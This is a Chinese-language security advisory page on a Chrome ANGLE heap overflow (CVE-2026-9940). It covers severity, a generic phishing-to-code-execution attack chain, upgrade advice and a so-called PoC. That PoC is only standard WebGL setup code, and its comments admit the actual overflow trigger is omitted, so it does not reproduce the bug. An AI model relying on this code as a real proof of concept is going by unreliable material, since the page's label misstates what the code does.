IPBUF安全漏洞报告
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CVE-2026-9940 CVSS 8.8 高危

CVE-2026-9940 Google Chrome ANGLE堆缓冲区溢出漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9940
漏洞类型
堆缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

堆缓冲区溢出RCEGoogle ChromeWebGLANGLE高危漏洞

漏洞概述

Google Chrome浏览器在148.0.7778.216之前的版本中,其内置的ANGLE组件存在严重的堆缓冲区溢出漏洞。远程攻击者可以通过诱导用户访问精心构造的恶意HTML页面来触发该漏洞,利用堆内存破坏机制,最终可能在用户系统上执行任意代码,造成敏感信息泄露或系统拒绝服务。

技术细节

该漏洞位于Google Chrome的ANGLE组件中,这是一个用于将OpenGL ES转换为Direct3D或OpenGL的图形层,主要用于支持WebGL。由于ANGLE在处理特定图形指令或WebGL上下文时未对内存边界进行严格验证,导致发生堆缓冲区溢出。攻击者可以通过网络向目标发送包含恶意WebGL代码的HTML页面。当受害者使用受漏洞影响的浏览器渲染该页面时,错误的内存操作会破坏堆结构。鉴于CVSS v3.1评分为8.8,利用难度较低且无需认证,攻击者结合社会工程学手段,可能绕过现代浏览器的部分防护机制(如ASLR),实现远程代码执行,进而完全控制受害者的主机环境。

攻击链分析

STEP 1
1. 构造攻击载荷
攻击者分析ANGLE组件的源码或二进制,发现堆缓冲区溢出点,并编写包含特定WebGL指令或恶意数据的HTML页面。
STEP 2
2. 投递攻击页面
攻击者通过网络钓鱼、邮件或其他社交工程手段,诱导潜在受害者点击链接并访问该恶意HTML页面。
STEP 3
3. 触发漏洞
受害者在未修补的Chrome浏览器中打开页面,浏览器调用ANGLE组件渲染WebGL内容,执行恶意代码导致堆缓冲区溢出。
STEP 4
4. 执行恶意代码
利用堆破坏控制程序执行流,在受害者系统权限下执行任意代码,从而窃取数据或植入后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-9940: Heap Buffer Overflow in ANGLE This code attempts to trigger the vulnerability via WebGL buffer manipulation. Note: Specific offsets and shader bytecode are required for reliable exploitation. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9940 PoC</title> </head> <body> <canvas id="glcanvas"></canvas> <script> const canvas = document.getElementById('glcanvas'); const gl = canvas.getContext('webgl'); if (!gl) { alert('WebGL not supported'); } // Create a buffer to trigger potential overflow const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Attempt to write data that may trigger the heap overflow // Malicious size/data would go here in a real exploit const data = new Float32Array(0x10000); // Filling with crafted pattern for(let i=0; i<data.length; i++) { data[i] = 1.0; } gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW); // Trigger rendering to execute the path const vsSource = ` attribute vec4 aVertexPosition; void main() { gl_Position = aVertexPosition; } `; const fsSource = ` void main() { gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0); } `; // Compile and link shaders (simplified) const vertexShader = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vertexShader, vsSource); gl.compileShader(vertexShader); const fragmentShader = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(fragmentShader, fsSource); gl.compileShader(fragmentShader); const shaderProgram = gl.createProgram(); gl.attachShader(shaderProgram, vertexShader); gl.attachShader(shaderProgram, fragmentShader); gl.linkProgram(shaderProgram); gl.useProgram(shaderProgram); // Draw to trigger the bug gl.drawArrays(gl.TRIANGLES, 0, 3); </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
目前官方已发布修复补丁,用户应尽快升级浏览器。在无法立即升级的情况下,应避免使用存在漏洞的浏览器版本访问不明网页,并启用浏览器内的沙箱隔离机制以减少潜在损害。

参考链接

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